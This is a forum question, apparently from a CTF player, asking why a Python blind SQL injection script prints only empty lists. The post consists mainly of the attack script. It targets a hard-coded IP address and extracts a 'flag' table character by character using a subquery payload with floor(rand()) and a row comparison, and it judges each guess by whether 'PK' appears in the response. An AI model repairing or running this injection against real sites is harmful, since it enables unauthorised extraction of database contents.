sql注入代码运行结果为空出错了该怎么修改???

import requests
import binascii
url = "http://110.41.8.154/"


def join(arr):
    return ",".join([f"0x{binascii.hexlify(i.encode()).decode()}" if i != "" else "0x0" for i in arr])

result = ["","","","","",""] #长度为列数 包括一条随机数列
result_i = 0
for i in range(1, 3000):
    min_value =32
    max_value = 130
    last_tmp = ""
    for j in range(min_value, max_value + 1):
        tmp = result[result_i]
        result[result_i] = tmp + chr(j)
        payload = {
            "id": f"740-(({join(result)})>(select * from(select *, floor(1+rand(5)*500000))`xxx`from(flag))`t`where(xxx=221556)))"
        }
        html = requests.get(url, params=payload)
        if "PK" not in html.text:
            if j == min_value + 1:
                result[result_i] = tmp
                result_i += 1
            else:
                result[result_i] = last_tmp
            break
        else:
            result[result_i] = tmp
        last_tmp = tmp + chr(j)

    #找不到目标主机
    if (result_i == len(result) - 1):
        break
    print(result)
print("fina flag",result)

这段代码运行结果都是空的怎么回事呀??????应该怎么解决呢
运行结果:

['', '', '', '', '', '']
['', '', '', '', '', '']
['', '', '', '', '', '']
['', '', '', '', '', '']
['', '', '', '', '', '']
['', '', '', '', '', '']
['', '', '', '', '', '']
['', '', '', '', '', '']
['', '', '', '', '', '']
阅读 409
撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题